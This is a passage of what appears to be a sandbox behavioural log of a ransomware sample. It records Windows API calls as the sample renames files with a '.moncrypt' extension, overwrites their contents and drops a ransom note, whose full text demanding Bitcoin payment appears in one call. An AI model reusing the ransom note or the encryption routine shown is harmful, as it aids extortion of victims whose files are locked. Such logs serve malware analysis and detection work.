lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.907] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.907] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.907] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.907] GlobalUnlock (hMem=0x44000c) returned 0 [0051.907] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.908] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.908] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.908] GlobalUnlock (hMem=0x44000c) returned 0 [0051.908] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.908] GlobalUnlock (hMem=0x440004) returned 0 [0051.908] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.908] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.912] CloseHandle (hObject=0x18c) returned 1 [0051.912] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\я")) returned 1 [0051.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 0x54e240 [0051.913] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.913] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.913] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", dwFileAttributes=0x20) returned 1 [0051.914] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.moncrypt")) returned 1 [0051.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.914] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.914] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x184e9 [0051.914] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.915] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.916] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.916] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.917] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.917] GlobalUnlock (hMem=0x44000c) returned 0 [0051.917] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0051.917] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.917] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.917] GlobalUnlock (hMem=0x44000c) returned 0 [0051.917] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.917] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0051.917] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.917] GlobalUnlock (hMem=0x440004) returned 0 [0051.918] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0051.918] GlobalUnlock (hMem=0x44000c) returned 0 [0051.918] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.918] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.918] GlobalUnlock (hMem=0x44000c) returned 0 [0051.918] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0051.918] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.918] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.918] GlobalUnlock (hMem=0x44000c) returned 0 [0051.918] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.918] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.918] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.919] SetFilePointer (in: hFile=0x18c, lDistanceToMove=99561, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x184e9 [0051.919] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.919] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.919] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.930] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.930] CloseHandle (hObject=0x18c) returned 1 [0051.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.932] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.932] CloseHandle (hObject=0x18c) returned 1 [0051.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0051.932] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.932] GlobalUnlock (hMem=0x44000c) returned 0 [0051.932] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.932] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.932] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.932] GlobalUnlock (hMem=0x44000c) returned 0 [0051.932] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.932] GlobalUnlock (hMem=0x440004) returned 0 [0051.932] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a1f8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0051.933] GetLastError () returned 0x2 [0051.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.936] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0051.937] CloseHandle (hObject=0x18c) returned 1 [0051.937] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0051.937] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.937] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.937] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.937] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.937] GlobalUnlock (hMem=0x440004) returned 0 [0051.937] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.937] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.937] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.937] GlobalUnlock (hMem=0x440004) returned 0 [0051.937] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.937] GlobalUnlock (hMem=0x44000c) returned 0 [0051.937] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.937] CharLowerBuffW (in: lpsz="INDUST.INF", cchLength=0xa | out: lpsz="indust.inf") returned 0xa [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.938] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpUsedDefaultChar=0x0) returned 73 [0051.938] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0051.938] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\INDUST\\INDUST.INF", lpUsedDefaultChar=0x0) returned 4 [0051.938] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0051.938] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.938] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.938] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.938] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.938] GlobalUnlock (hMem=0x44000c) returned 0 [0051.938] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.938] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.938] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.938] GlobalUnlock (hMem=0x44000c) returned 0 [0051.938] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.939] GlobalUnlock (hMem=0x440004) returned 0 [0051.939] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.939] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.939] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0051.939] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.939] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\INDUST\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 4 [0051.939] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.940] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.940] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.940] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.940] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.940] GlobalUnlock (hMem=0x440004) returned 0 [0051.940] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.940] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.940] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.940] GlobalUnlock (hMem=0x440004) returned 0 [0051.940] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.940] GlobalUnlock (hMem=0x44000c) returned 0 [0051.940] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.940] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.940] WideCharToMultiByte (in: CodePage=0x4e4, 